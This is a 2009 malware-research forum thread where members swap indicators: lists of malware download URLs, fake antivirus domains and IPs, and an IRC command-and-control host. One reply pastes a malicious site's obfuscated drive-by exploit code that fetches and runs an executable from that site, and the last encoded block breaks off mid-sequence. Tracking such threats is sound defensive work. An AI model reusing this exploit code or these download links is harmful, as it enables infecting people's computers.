Author Topic: daily something......  (Read 797413 times)

0 Members and 3 Guests are viewing this topic.

April 01, 2009, 04:21:38 pm
Reply #255

sowhat-x

  • Guest
http://www.megaupload.com/?d=8L92M1AS
Just in case they take notice of it quickly and fix the directory read permissions,
i've archived the contents of download.malwareremovingtool.com:
58mb archive containing 22 executables,no password needed...


April 01, 2009, 06:00:28 pm
Reply #257

CM_MWR

  • Special Members
  • Hero Member

  • Offline
  • *

  • 319
List I was working on before i had my memory loss.  ???

Code: [Select]
http://amnepofig.ru/test/loader.exe
http://www.mydataporch.com/bot.exe
http://www.cplnn.com/bbot.exe
http://web.cplnn.com/mmf32.exe
http://steer2.co.uk/im/172.exe
http://steer2.co.uk/im/88.exe
http://steer2.co.uk/im/adv.exe
http://steer2.co.uk/im/podmena.exe
http://edwardhomepage.info/172.exe
http://edwardhomepage.info/88.exe
http://edwardhomepage.info/adv.exe
http://edwardhomepage.info/podmena.exe
http://usabreakingnews.com/172.exe
http://usabreakingnews.com/88.exe
http://usabreakingnews.com/adv.exe
http://usabreakingnews.com/fuck3.exe
http://tmr-unlimited.com/172.exe
http://tmr-unlimited.com/setup.exe
http://tmr-unlimited.com/adv.exe
http://tmr-unlimited.com/fuck3.exe
http://tryithere.net/fuck3.exe
http://tryithere.net/88.exe
http://tryithere.net/l.exe
http://tryithere.net/adv.exe
http://tri-visionhomes.com/im/172.exe
http://tri-visionhomes.com/im/podmena.exe
http://tri-visionhomes.com/im/adv.exe
http://tri-visionhomes.com/im/s.exe
http://keepongoing.info/172.exe
http://keepongoing.info/secure.exe
http://211.95.78.66/ruzs/readme.txt
http://91.212.65.12/o9s833f/uerty/setup.exe
http://91.212.65.12/o9s833f/uerty/upd_beta.exe
http://195.88.80.150/myfiles/123/v302/file.exe
http://193.138.173.160/myfiles/100/v300/file.exe
http://193.138.173.160/myfiles/123/v302/file.exe
http://77.221.153.174/.c/o/rdr.exe
http://basesrv.net/base/kernel32.exe
http://91.207.61.180/images/138/v3/file.exe
http://aksajans.com/gif/nfr.exe
http://aksajans.com/gif/pp.03.exe
http://211.95.78.66/log/ldr.txt
http://powelldirects.com/stat/main.exe
http://zyujgss.com/zos/ue.exe
http://incredible.kiev.ua/suez/ldr.exe

I think many are gone bye bye now.  :-\

April 01, 2009, 08:26:27 pm
Reply #258

CkreM

  • Special Access
  • Hero Member

  • Offline
  • *

  • 567
Zbot:

Code: [Select]
http://ctuf.info/ldr.exe
http://ctuf.info/cfg.bin
http://zeus-logs.biz/ldr.exe
http://zeus-logs.biz/cfg.bin
Mal-Aware

April 02, 2009, 08:23:06 pm
Reply #259

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

April 02, 2009, 10:21:11 pm
Reply #260

CkreM

  • Special Access
  • Hero Member

  • Offline
  • *

  • 567
Exploit which leads to trojan on MDL already:
Code: [Select]
http://dnsmytruedns.com/nuc/spl/pdf.pdfhttp://wepawet.iseclab.org/view.php?hash=a6ddc93d17f80b8200c9dffa41b5a3a0&t=1238704964&type=js

Other trojan there:
Code: [Select]
http://dnsmytruedns.com/nuc/exe.phphttp://www.virustotal.com/analisis/20fbf18e0a83f244a8a9a9a68068db80

Redirect to exploits:
Code: [Select]
http://aaaimmigration.com/http://wepawet.iseclab.org/view.php?hash=7cb8f06a3c45746da10f644b71027a98&t=1238706643&type=js

Exploits/trojan:
Code: [Select]
http://p0rn-movies.com/77/cache/readme.pdfhttp://wepawet.iseclab.org/view.php?hash=a2982470cd2fbee7be138128ef6e8d0d&t=1238707074&type=js

Trojan:
Code: [Select]
http://findwife.asia/unique/1.exehttp://www.virustotal.com/analisis/6eae1c969cc3e7aae2f7ae0982be3bef

Exploit/Trojan:
Code: [Select]
http://193.200.255.19/~timchenko/cms/index.phphttp://wepawet.iseclab.org/view.php?hash=832a4879ab612a34ba0c854471d72747&t=1238714177&type=js

Redirect to fake Av:
Code: [Select]
http://kogerta.com/redirect/bucks.php
fake AV :
Code: [Select]
system-scan-1.biz
Exploit/trojan:
Code: [Select]
http://hostyapics.net/img/index.phphttp://wepawet.iseclab.org/view.php?hash=9e754a227c062120b20e7864e1e4ed59&t=1238720525&type=js
Mal-Aware

April 03, 2009, 02:54:47 pm
Reply #261

GmG

  • Special Members
  • Full Member

  • Offline
  • *

  • 92
Koobface

Code: [Select]
http://xviewworldmy1.com/download/1/1000/5
http://viewworldmy1.com/download/1/1000/5

April 03, 2009, 06:39:02 pm
Reply #262

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day


April 05, 2009, 05:02:56 pm
Reply #264

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Fake AVs

Those ones were reported from Steven as located at zlkon, but we have been moved to ip 64.191.12.38.
Code: [Select]
antispylinks.com
antispyme.com
antispywareup.com
antiviruscheckout.com
antivirusup.com
goldpcguard.com
pcsecuretools.com

Reported by Anthony
Code: [Select]
78.26.179.131

best-tube-home.com

78.26.179.137

files.ms-loads-av.com/exe/setup_1_2_1.exe

66.197.154.198

goscanside.com
scan6zoom.com
scan6safe.com
userscan6.com
litescan6.com

209.44.126.14

fastsecurityscan.com
thegreatsecurity.com
truescansecurity.com
topsoftscanner.com/download.php
topsoftscanner.com/install/ws.zip

213.163.65.10

iloveyourbrain.com/scan/
loyal-tube.com/codec.exe
loyaldown99.com/codec.exe
loyaltube09.com/codec.exe
rakompoporyadkunazaryadku.com/codec.exe
ruler-domains.com/codec.exe
setupdatdownload.com/codec.exe
tube-loyal.com/codec.exe
tubeloyal.com/codec.exe
tubeloyaln.com/codec.exe
billingpayment.netcodecs.tubeloyaln.com/codec.exe
lamer.tubeloyaln.com/codec.exe
videosz.tubeloyaln.com/codec.exe
wedare.tubeloyaln.com/codec.exe
velzevuladmin.com/codec.exe
winpcdown09.com/codec.exe
winpcdown99.com/codec.exe
xp-police-09.com/codec.exe
xp-police-2009.com/codec.exe
xp-police-antivirus.com/codec.exe
xp-police-av.com/codec.exe
xp-police-engine.com/codec.exe
xp-police.com/codec.exe
*.xp-police.com/codec.exe

92.38.0.41

wincodecupdate.com/codec.exe

94.76.213.227

antispywareproupdates.com/zsa360/winconfig.dll

78.46.216.233

onlinerobosphere.cn/zsa360/winconfig.dll

212.117.165.126

platinumsecurityupdate.com/zsa360/winconfig.dll
Ruining the bad guy's day

April 05, 2009, 06:36:14 pm
Reply #265

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Worm Win32/Boupke / Kernelbot (MS08-067)
Code: [Select]
freegoogla.vicp.net/download/em_setup.exehttp://www.virustotal.com/analisis/b58be0446e889229f163a6364e6279b1

Code: [Select]
94.23.93.6/firefox.exehttp://www.virustotal.com/analisis/0ff709c880ddbb9c8aa71d67593a0921 2/40
AntiVir    7.9.0.138    2009.04.05    TR/Crypt.XPACK.Gen
McAfee-GW-Edition    6.7.6    2009.04.03    Win32.Malware.dam (suspicious)
http://www.threatexpert.com/report.aspx?md5=39ee3f7eb571d59250df79914a7e8dbb

Code: [Select]
94.23.93.6/IEXPLORE.exehttp://www.virustotal.com/analisis/ffab02c5126508421194fcf00c6d50d1 5/40
http://www.threatexpert.com/report.aspx?md5=825cd2850f2d0d60d142adb65b35f575

Code: [Select]
irc.C3llBl0ck.com Port 9595C&C for the firefox.exe and IEXPLORE.exe above.
Ruining the bad guy's day

April 05, 2009, 06:45:34 pm
Reply #266

CM_MWR

  • Special Members
  • Hero Member

  • Offline
  • *

  • 319
233242.com/1/include/spl.php?do=foxit
233242.com/1/index.php
233242.com/1/load.php
http://www.virustotal.com/analisis/94c84868ce8339d909b4b344275e1710

I believe reports to

newsineurope.net/z/config.bin
newsineurope.net/z/s.php?1=smoked_000de8e6&i=test
newsineurope.net/z/s.php?2=smoked_000de8e6&n=0&v=16778770&i=test&s=0&sp=0&lcp=0&pr=0
newsineurope.net/z/s.php?2=smoked_000de8e6&n=1&v=16778770&i=test&s=0&sp=0&lcp=0&pr=0
newsineurope.net/z/s.php?3=smoked_000de8e6&id=1238936099



233242.com/1/
Code: [Select]
<style>.dsA86BSFIK_41K{display:none;}</style>
<b class="dsA86BSFIK_41K" id="K_41K1">*e!***v*!*a*l!*</b>
<script>window.onerror = return(true);</script>
<div class="dsA86BSFIK_41K" id="dsA86BSFIK_41K">13.10.118.97.114.32.75.95.52.49.75.65.113.112.32.61.32.100.111.99.117.109.101.110.116.46.99.114.101.97.116.101.69.108.101.109.101.110.116.40.39.111.98.106.101.99.116.39.41.59.13.10.118.97.114.32.75.95.52.49.75.66.113.112.32.61.32.117.110.101.115.99.97.112.101.40.34.37.52.49.68.37.52.70.68.66.37.50.101.83.116.114.101.97.37.54.68.34.41.59.32.13.10.75.95.52.49.75.65.113.112.46.115.101.116.65.116.116.114.105.98.117.116.101.40.39.105.100.39.44.39.75.95.52.49.75.65.113.112.39.41.59.13.10.118.97.114.32.75.95.52.49.75.67.113.112.32.61.32.117.110.101.115.99.97.112.101.40.34.109.115.120.109.108.50.46.88.37.52.68.76.72.37.53.52.84.80.34.41.59.13.10.75.95.52.49.75.65.113.112.46.115.101.116.65.116.116.114.105.98.117.116.101.40.39.99.108.97.115.115.105.100.39.44.39.99.108.115.105.100.58.66.68.57.54.67.53.53.54.45.54.53.65.51.45.49.49.68.48.45.57.56.51.65.45.48.48.67.48.52.70.67.50.57.69.51.54.39.41.59.13.10.118.97.114.32.75.95.52.49.75.68.113.112.32.61.32.48.59.13.10.116.114.121.13.10.123.13.10.118.97.114.32.75.95.52.49.75.69.113.112.32.61.32.75.95.52.49.75.65.113.112.46.67.114.101.97.116.101.79.98.106.101.99.116.40.75.95.52.49.75.66.113.112.44.34.34.41.59.13.10.75.95.52.49.75.68.113.112.32.61.32.49.59.13.10.125.13.10.99.97.116.99.104.40.101.41.123.125.13.10.105.102.32.40.75.95.52.49.75.68.113.112.32.33.61.32.49.41.13.10.123.13.10.116.114.121.13.10.123.13.10.118.97.114.32.75.95.52.49.75.69.113.112.32.61.32.110.101.119.32.65.99.116.105.118.101.88.79.98.106.101.99.116.40.75.95.52.49.75.66.113.112.41.59.13.10.75.95.52.49.75.68.113.112.32.61.32.49.59.13.10.125.13.10.99.97.116.99.104.40.101.41.123.125.13.10.125.13.10.105.102.32.40.75.95.52.49.75.68.113.112.32.61.61.32.49.41.13.10.123.13.10.116.114.121.13.10.123.13.10.118.97.114.32.75.95.52.49.75.70.113.112.32.61.32.75.95.52.49.75.65.113.112.46.67.114.101.97.116.101.79.98.106.101.99.116.40.34.83.104.101.108.108.46.65.112.112.108.105.99.97.116.105.111.110.34.44.34.34.41.59.13.10.118.97.114.32.75.95.52.49.75.75.113.112.32.61.32.48.120.55.70.70.70.70.70.70.69.59.13.10.118.97.114.32.75.95.52.49.75.71.113.112.32.61.32.110.101.119.32.65.99.116.105.118.101.88.79.98.106.101.99.116.40.75.95.52.49.75.67.113.112.41.59.13.10.75.95.52.49.75.71.113.112.46.111.112.101.110.40.34.71.69.84.34.44.34.104.116.116.112.58.47.47.50.51.51.50.52.50.46.99.111.109.47.49.47.108.111.97.100.46.112.104.112.34.44.102.97.108.115.101.41.59.32.13.10.75.95.52.49.75.71.113.112.46.115.101.110.100.40.41.59.32.13.10.75.95.52.49.75.69.113.112.46.116.121.112.101.32.61.32.49.59.13.10.75.95.52.49.75.69.113.112.46.111.112.101.110.40.41.59.32.13.10.75.95.52.49.75.69.113.112.46.87.114.105.116.101.40.75.95.52.49.75.71.113.112.46.114.101.115.112.111.110.115.101.66.111.100.121.41.59.13.10.118.97.114.32.75.95.52.49.75.72.113.112.32.61.32.34.67.58.92.92.78.84.68.69.84.69.67.84.46.69.88.69.34.59.13.10.75.95.52.49.75.69.113.112.46.83.97.118.101.84.111.70.105.108.101.40.75.95.52.49.75.72.113.112.44.50.41.59.32.13.10.75.95.52.49.75.69.113.112.46.99.108.111.115.101.40.41.59.13.10.75.95.52.49.75.70.113.112.46.83.104.101.108.108.69.120.101.99.117.116.101.40.75.95.52.49.75.72.113.112.41.59.13.10.125.13.10.99.97.116.99.104.40.101.41.123.125.13.10.125.13.10</div>
<script>
var K_41KC89Bwe2bv = document;
K_41KC89Bwe2bv = K_41KC89Bwe2bv.getElementById('K_41K1');
K_41KC89Bwe2bv = K_41KC89Bwe2bv.innerHTML;
var K_41Ktrash = "q!w!e!r!t!y!";
K_41KC89Bwe2bv = K_41KC89Bwe2bv.replace(/[!|*]/g, "");
K_41Ktrash = K_41Ktrash.replace(/[!]/g,"");
var K_41Kttt = eval(K_41KC89Bwe2bv);
var K_41KD81Bwe2b = document.getElementById("dsA86BSFIK_41K");
K_41Ktrash = K_41Ktrash.replace(/[q]/g,"");
K_41KD81Bwe2b = K_41KD81Bwe2b.innerHTML;
K_41KD81Bwe2b = K_41KD81Bwe2b.replace(/[A-Za-z]/g,function (K_41KCK_41K2dbQ){ return String.fromCharCode((((K_41KCK_41K2dbQ = K_41KCK_41K2dbQ.charCodeAt(0)) & 223) - 52) % 26 + (K_41KCK_41K2dbQ & 32) + 65); }).split(".");
K_41Ktrash = K_41Ktrash.replace(/[w]/g,"");
var K_41KEW81Bwe2b = "!!!";
K_41KEW81Bwe2b = K_41KEW81Bwe2b.replace(/[!]/g,"");
for (var K_41KK_41K=0; K_41KK_41K<K_41KD81Bwe2b.length; K_41KK_41K++){ K_41KEW81Bwe2b += String.fromCharCode(K_41KD81Bwe2b[K_41KK_41K]); }
K_41Kttt(K_41KEW81Bwe2b);
</script>
<style>.kUbS1mK_41K{display:none;}</style>
<b class="kUbS1mK_41K" id="K_41K1">@e!@@@v@!@a@l!@</b>
<script>window.onerror = return(true);</script>
<div class="kUbS1mK_41K" id="kUbS1mK_41K">75.95.52.49.75.97.110.114.40.41.59.13.10.102.117.110.99.116.105.111.110.32.75.95.52.49.75.97.110.114.40.41.32.123.13.10.118.97.114.32.75.95.52.49.75.98.110.114.32.61.32.100.111.99.117.109.101.110.116.46.99.114.101.97.116.101.69.108.101.109.101.110.116.40.39.111.98.106.101.99.116.39.41.59.13.10.75.95.52.49.75.98.110.114.46.115.101.116.65.116.116.114.105.98.117.116.101.40.39.105.100.39.44.39.75.95.52.49.75.98.110.114.39.41.59.13.10.75.95.52.49.75.98.110.114.46.115.101.116.65.116.116.114.105.98.117.116.101.40.39.99.108.97.115.115.105.100.39.44.39.99.108.39.43.39.115.105.39.43.34.100.58.66.68.34.43.34.57.54.67.53.34.43.39.53.54.45.54.53.65.51.45.49.39.43.34.49.68.48.45.57.56.34.43.39.51.65.45.48.48.39.43.34.67.48.52.34.43.39.70.67.50.39.43.34.57.69.34.43.39.51.54.39.41.59.13.10.116.114.121.32.123.13.10.118.97.114.32.75.95.52.49.75.67.110.114.32.61.32.75.95.52.49.75.98.110.114.46.67.114.101.97.116.101.79.98.106.101.99.116.40.39.109.115.39.43.34.120.109.34.43.39.108.50.39.43.34.46.34.43.39.88.77.39.43.34.76.72.34.43.39.84.39.43.39.84.80.39.44.39.39.41.59.13.10.118.97.114.32.75.95.52.49.75.68.110.114.32.61.32.75.95.52.49.75.98.110.114.46.67.114.101.97.116.101.79.98.106.101.99.116.40.34.83.104.101.108.34.43.34.108.46.65.112.34.43.34.112.108.34.43.34.105.99.97.116.105.34.43.34.111.110.34.44.39.39.41.59.13.10.118.97.114.32.75.95.52.49.75.69.110.114.32.61.32.75.95.52.49.75.98.110.114.46.67.114.101.97.116.101.79.98.106.101.99.116.40.39.97.100.39.43.39.111.100.39.43.34.98.46.34.43.39.115.116.39.43.34.114.101.34.43.39.97.109.39.44.39.39.41.59.13.10.116.114.121.32.123.32.75.95.52.49.75.69.110.114.46.116.121.112.101.32.61.32.49.59.13.10.75.95.52.49.75.67.110.114.46.111.112.101.110.40.39.71.39.43.34.69.34.43.39.84.39.44.39.104.116.116.112.58.47.47.50.51.51.50.52.50.46.99.111.109.47.49.47.108.111.97.100.46.112.104.112.39.44.102.97.108.115.101.41.59.13.10.75.95.52.49.75.67.110.114.46.115.101.110.100.40.41.59.32.75.95.52.49.75.69.110.114.46.111.112.101.110.40.41.59.13.10.75.95.52.49.75.69.110.114.46.87.114.105.116.101.40.75.95.52.49.75.67.110.114.46.114.101.115.112.111.110.115.101.66.111.100.121.41.59.13.10.118.97.114.32.75.95.52.49.75.70.110.114.32.61.32.39.46.47.47.46.46.47.47.115.118.99.104.111.115.116.46.101.120.101.39.59.13.10.75.95.52.49.75.69.110.114.46.83.97.118.101.84.111.70.105.108.101.40.75.95.52.49.75.70.110.114.44.50.41.59.13.10.75.95.52.49.75.69.110.114.46.67.108.111.115.101.40.41.59.13.10.125.32.99.97.116.99.104.40.101.41.32.123.125.13.10.116.114.121.32.123.32.75.95.52.49.75.68.110.114.46.115.104.101.108.108.101.120.101.99.117.116.101.40.75.95.52.49.75.70.110.114.41.59.32.125.32.99.97.116.99.104.40.101.41.32.123.125.125.13.10.99.97.116.99.104.40.101.41.123.125.125</div>
<script>
var K_41KC89Bwe2bv = document;
K_41KC89Bwe2bv = K_41KC89Bwe2bv.getElementById('K_41K1');
K_41KC89Bwe2bv = K_41KC89Bwe2bv.innerHTML;
var K_41Ktrash = "q!w!e!r!t!y!";
K_41KC89Bwe2bv = K_41KC89Bwe2bv.replace(/[!|@]/g, "");
K_41Ktrash = K_41Ktrash.replace(/[!]/g,"");
var K_41Kttt = eval(K_41KC89Bwe2bv);
var K_41KD81Bwe2b = document.getElementById("kUbS1mK_41K");
K_41Ktrash = K_41Ktrash.replace(/[q]/g,"");
K_41KD81Bwe2b = K_41KD81Bwe2b.innerHTML;
K_41KD81Bwe2b = K_41KD81Bwe2b.replace(/[A-Za-z]/g,function (K_41KCK_41K2dbQ){ return String.fromCharCode((((K_41KCK_41K2dbQ = K_41KCK_41K2dbQ.charCodeAt(0)) & 223) - 52) % 26 + (K_41KCK_41K2dbQ & 32) + 65); }).split(".");
K_41Ktrash = K_41Ktrash.replace(/[w]/g,"");
var K_41KEW81Bwe2b = "!!!";
K_41KEW81Bwe2b = K_41KEW81Bwe2b.replace(/[!]/g,"");
for (var K_41KK_41K=0; K_41KK_41K<K_41KD81Bwe2b.length; K_41KK_41K++){ K_41KEW81Bwe2b += String.fromCharCode(K_41KD81Bwe2b[K_41KK_41K]); }
K_41Kttt(K_41KEW81Bwe2b);
</script>
<style>.IkZaQm6AojiWK_41K{display:none;}</style>
<b class="IkZaQm6AojiWK_41K" id="K_41K1">^e!^^^v^!^a^l!^</b>
<script>window.onerror = return(true);</script>
<div class="IkZaQm6AojiWK_41K" id="IkZaQm6AojiWK_41K">13.10.118.97.114.32.75.95.52.49.75.65.101.119.61.39.104.116.116.112.58.47.47.50.51.51.50.52.50.46.99.111.109.47.49.47.108.111.97.100.46.112.104.112.39.59.13.10.102.117.110.99.116.105.111.110.32.75.95.52.49.75.66.101.119.40.111.44.110.41.123.13.10.118.97.114.32.114.61.110.117.108.108.59.116.114.121.123.114.61.111.46.67.114.101.97.116.101.79.98.106.101.99.116.40.110.41.125.99.97.116.99.104.40.101.41.123.125.105.102.40.33.114.41.123.116.114.121.123.114.61.111.46.67.114.101.97.116.101.79.98.106.101.99.116.40.110.44.34.34.41.125.99.97.116.99.104.40.101.41.123.125.125.105.102.40.33.114.41.123.116.114.121.123.114.61.111.46.67.114.101.97.116.101.79.98.106.101.99.116.40.110.44.34.34.44.34.34.41.125.99.97.116.99.104.40.101.41.123.125.125.105.102.40.33.114.41.123.116.114.121.123.114.61.111.46.71.101.116.79.98.106.101.99.116.40.34.34.44.110.41.125.99.97.116.99.104.40.101.41.123.125.125.105.102.40.33.114.41.123.116.114.121.123.114.61.111.46.71.101.116.79.98.106.101.99.116.40.110.44.34.34.41.125.99.97.116.99.104.40.101.41.123.125.125.105.102.40.33.114.41.123.116.114.121.123.114.61.111.46.71.101.116.79.98.106.101.99.116.40.110.41.125.99.97.116.99.104.40.101.41.123.125.125.114.101.116.117.114.110.40.114.41.59.13.10.125.13.10.102.117.110.99.116.105.111.110.32.75.95.52.49.75.67.101.119.40.97.41.123.13.10.102.110.97.109.101.61.34.102.105.108.101.46.101.120.101.34.59.118.97.114.32.75.95.52.49.75.68.101.119.61.97.46.67.114.101.97.116.101.79.98.106.101.99.116.40.34.83.99.114.105.112.116.105.110.103.46.70.105.108.101.83.121.115.116.101.109.79.98.106.101.99.116.34.44.34.34.41.59.118.97.114.32.115.97.112.61.75.95.52.49.75.66.101.119.40.97.44.34.83.104.101.108.108.46.65.112.112.108.105.99.97.116.105.111.110.34.41.59.118.97.114.32.120.61.75.95.52.49.75.66.101.119.40.97.44.34.65.68.79.68.66.46.83.116.114.101.97.109.34.41.59.118.97.114.32.75.95.52.49.75.69.101.119.61.110.117.108.108.59.102.110.97.109.101.61.75.95.52.49.75.68.101.119.46.66.117.105.108.100.80.97.116.104.40.75.95.52.49.75.68.101.119.46.71.101.116.83.112.101.99.105.97.108.70.111.108.100.101.114.40.50.41.44.102.110.97.109.101.41.59.120.46.77.111.100.101.61.51.59.13.10.116.114.121.123.75.95.52.49.75.69.101.119.61.75.95.52.49.75.66.101.119.40.97.44.34.77.105.99.114.111.115.111.102.116.46.88.77.76.72.84.84.80.34.41.59.75.95.52.49.75.69.101.119.46.111.112.101.110.40.34.71.69.84.34.44.75.95.52.49.75.65.101.119.44.102.97.108.115.101.41.59.125.13.10.99.97.116.99.104.40.101.41.123.116.114.121.123.75.95.52.49.75.69.101.119.61.75.95.52.49.75.66.101.119.40.97.44.34.77.83.88.77.76.50.46.88.77.76.72.84.84.80.34.41.59.75.95.52.49.75.69.101.119.46.111.112.101.110.40.34.71.69.84.34.44.75.95.52.49.75.65.101.119.44.102.97.108.115.101.41.59.125.13.10.99.97.116.99.104.40.101.41.123.116.114.121.123.75.95.52.49.75.69.101.119.61.75.95.52.49.75.66.101.119.40.97.44.34.77.83.88.77.76.50.46.83.101.114.118.101.114.88.77.76.72.84.84.80.34.41.59.75.95.52.49.75.69.101.119.46.111.112.101.110.40.34.71.69.84.34.44.75.95.52.49.75.65.101.119.44.102.97.108.115.101.41.59.125.13.10.99.97.116.99.104.40.101.41.13.10.123.13.10.116.114.121.13.10.123.13.10.75.95.52.49.75.69.101.119.61.110.101.119.32.88.77.76.72.116.116.112.82.101.113.117.101.115.116.40.41.59.13.10.75.95.52.49.75.69.101.119.46.111.112.101.110.40.34.71.69.84.34.44.75.95.52.49.75.65.101.119.44.102.97.108.115.101.41.59.13.10.125.13.10.99.97.116.99.104.40.101.41.123.114.101.116.117.114.110.32.48.59.125.125.125.125.13.10.120.46.84.121.112.101.61.49.59.75.95.52.49.75.69.101.119.46.115.101.110.100.40.110.117.108.108.41.59.114.98.61.75.95.52.49.75.69.101.119.46.114.101.115.112.111.110.115.101.66.111.100.121.59.120.46.79.112.101.110.40.41.59.120.46.87.114.105.116.101.40.114.98.41.59.120.46.83.97.118.101.84.111.102.105.108.101.40.102.110.97.109.101.44.50.41.59.115.97.112.46.83.104.101.108.108.69.120.101.99.117.116.101.40.102.110.97.109.101.41.59.13.10.114.101.116.117.114.110.32.49.59.13.10.125.13.10.102.117.110.99.116.105.111.110.32.75.95.52.49.75.70.101.119.40.41.123.13.10.118.97.114.32.105.61.48.59.118.97.114.32.75.95.52.49.75.71.101.119.61.110.101.119.32.65.114.114.97.121.40.39.66.68.57.54.67.53.53.54.45.54.53.65.51.45.49.49.68.48.45.57.56.51.65.45.48.48.67.48.52.70.67.50.57.69.51.54.39.44.39.66.68.57.54.67.53.53.54.45.54.53.65.51.45.49.49.68.48.45.57.56.51.65.45.48.48.67.48.52.70.67.50.57.69.51.48.39.44.39.65.66.57.66.67.69.68.68.45.69.67.55.69.45.52.55.69.49.45.57.51.50.50.45.68.52.65.50.49.48.54.49.55.49.49.54.39.44.39.48.48.48.54.70.48.51.51.45.48.48.48.48.45.48.48.48.48.45.67.48.48.48.45.48.48.48.48.48.48.48.48.48.48.52.54.39.44.39.48.48.48.54.70.48.51.65.45.48.48.48.48.45.48.48.48.48.45.67.48.48.48.45.48.48.48.48.48.48.48.48.48.48.52.54.39.44.39.54.101.51.50.48.55.48.97.45.55.54.54.100.45.52.101.101.54.45.56.55.57.99.45.100.99.49.102.97.57.49.100.50.102.99.51.39.44.39.54.52.49.52.53.49.50.66.45.66.57.55.56.45.52.53.49.68.45.65.48.68.56.45.70.67.70.68.70.51.51.69.56.51.51.67.39.44.39.55.70.53.66.55.70.54.51.45.70.48.54.70.45.52.51.51.49.45.56.65.50.54.45.51.51.57.69.48.51.67.48.65.69.51.68.39.44.39.48.54.55.50.51.69.48.57.45.70.52.67.50.45.52.51.99.56.45.56.51.53.56.45.48.57.70.67.68.49.68.66.48.55.54.54.39.44.39.54.51.57.70.55.50.53.70.45.49.66.50.68.45.52.56.51.49.45.65.57.70.68.45.56.55.52.56.52.55.54.56.50.48.49.48.39.44.39.66.65.48.49.56.53.57.57.45.49.68.66.51.45.52.52.102.57.45.56.51.66.52.45.52.54.49.52.53.52.67.56.52.66.70.56.39.44.39.68.48.67.48.55.68.53.54.45.55.67.54.57.45.52.51.70.49.45.66.52.65.48.45.50.53.70.53.65.49.49.70.65.66.49.57.39.44.39.69.56.67.67.67.68.68.70.45.67.65.50.56.45.52.57.54.98.45.66.48.53.48.45.54.67.48.55.67.57.54.50.52.55.54.66.39.44.110.117.108.108.41.59.13.10.119.104.105.108.101.40.75.95.52.49.75.71.101.119.91.105.93.41.13.10.123.13.10.118.97.114.32.97.61.110.117.108.108.59.13.10.97.61.100.111.99.117.109.101.110.116.46.99.114.101.97.116.101.69.108.101.109.101.110.116.40.34.111.98.106.101.99.116.34.41.59.13.10.97.46.115.101.116.65.116.116.114.105.98.117.116.101.40.34.99.108.97.115.115.105.100.34.44.34.99.108.115.105.100.58.34.43.75.95.52.49.75.71.101.119.91.105.93.41.59.13.10.105.102.40.97.41.123.116.114.121.123.118.97.114.32.98.61.75.95.52.49.75.66.101.119.40.97.44.34.83.104.101.108.108.46.65.112.112.108.105.99.97.116.105.111.110.34.41.59.13.10.105.102.40.98.41.123.105.102.40.75.95.52.49.75.67.101.119.40.97.41.41.114.101.116.117.114.110.32.49.59.125.125.99.97.116.99.104.40.101.41.123.125.125.13.10.105.43.43.59.13.10.125.13.10.125.13.10.105.102.40.75.95.52.49.75.70.101.119.40.41.41.32.115.117.99.99.101.115.115.61.49.59.13.10</div>
<script>
var K_41KC89Bwe2bv = document;
K_41KC89Bwe2bv = K_41KC89Bwe2bv.getElementById('K_41K1');
K_41KC89Bwe2bv = K_41KC89Bwe2bv.innerHTML;
var K_41Ktrash = "q!w!e!r!t!y!";
K_41KC89Bwe2bv = K_41KC89Bwe2bv.replace(/[!|^]/g, "");
K_41Ktrash = K_41Ktrash.replace(/[!]/g,"");
var K_41Kttt = eval(K_41KC89Bwe2bv);
var K_41KD81Bwe2b = document.getElementById("IkZaQm6AojiWK_41K");
K_41Ktrash = K_41Ktrash.replace(/[q]/g,"");
K_41KD81Bwe2b = K_41KD81Bwe2b.innerHTML;
K_41KD81Bwe2b = K_41KD81Bwe2b.replace(/[A-Za-z]/g,function (K_41KCK_41K2dbQ){ return String.fromCharCode((((K_41KCK_41K2dbQ = K_41KCK_41K2dbQ.charCodeAt(0)) & 223) - 52) % 26 + (K_41KCK_41K2dbQ & 32) + 65); }).split(".");
K_41Ktrash = K_41Ktrash.replace(/[w]/g,"");
var K_41KEW81Bwe2b = "!!!";
K_41KEW81Bwe2b = K_41KEW81Bwe2b.replace(/[!]/g,"");
for (var K_41KK_41K=0; K_41KK_41K<K_41KD81Bwe2b.length; K_41KK_41K++){ K_41KEW81Bwe2b += String.fromCharCode(K_41KD81Bwe2b[K_41KK_41K]); }
K_41Kttt(K_41KEW81Bwe2b);
</script><script>
<style>.QIgskwBJjInK_41K{display:none;}</style>
<b class="QIgskwBJjInK_41K" id="K_41K1">*e!***v*!*a*l!*</b>
<script>window.onerror = return(true);</script>
<div class="QIgskwBJjInK_41K" id="QIgskwBJjInK_41K">100.111.99.117.109.101.110.116.46.119.114.105.116.101.40.117.110.101.115.99.97.112.101.40.34.37.51.67.115.99.114.105.112.116.37.50.48.108.97.110.103.117.97.103.101.37.51.68.37.50.50.118.98.115.99.114.105.112.116.37.50.50.37.51.69.37.48.68.37.48.65.37.48.68.37.48.65.67.111.110.115.116.37.50.48.97.100.77.111.100.101.82.101.97.100.87.114.105.116.101.37.51.68.51.37.48.68.37.48.65.67.111.110.115.116.37.50.48.97.100.84.121.112.101.66.105.110.97.114.121.37.51.68.49.37.48.68.37.48.65.67.111.110.115.116.37.48.68.37.48.65.97.100.83.97.118.101.67.114.101.97.116.101.79.118.101.114.87.114.105.116.101.37.51.68.50.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.111.70.83.79.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.111.83.116.114.101.97.109.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.111.87.83.104.101.108.108.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.80.108.117.103.105.110.70.105.108.101.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.99.66.121.116.101.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.37.50.48.79.98.106.78.97.109.101.37.48.68.37.48.65.68.105.109.37.50.48.37.50.48.37.50.48.79.98.106.80.114.111.103.37.48.68.37.48.65.79.98.106.78.97.109.101.37.51.68.37.50.50.65.68.79.68.66.37.50.50.37.48.68.37.48.65.79.98.106.80.114.111.103.37.51.68.37.50.50.83.116.114.101.97.109.37.50.50.37.48.68.37.48.65.79.110.37.50.48.69.114.114.111.114.37.50.48.82.101.115.117.109.101.37.50.48.78.101.120.116.37.48.68.37.48.65.83.101.116.37.50.48.111.83.116.114.101.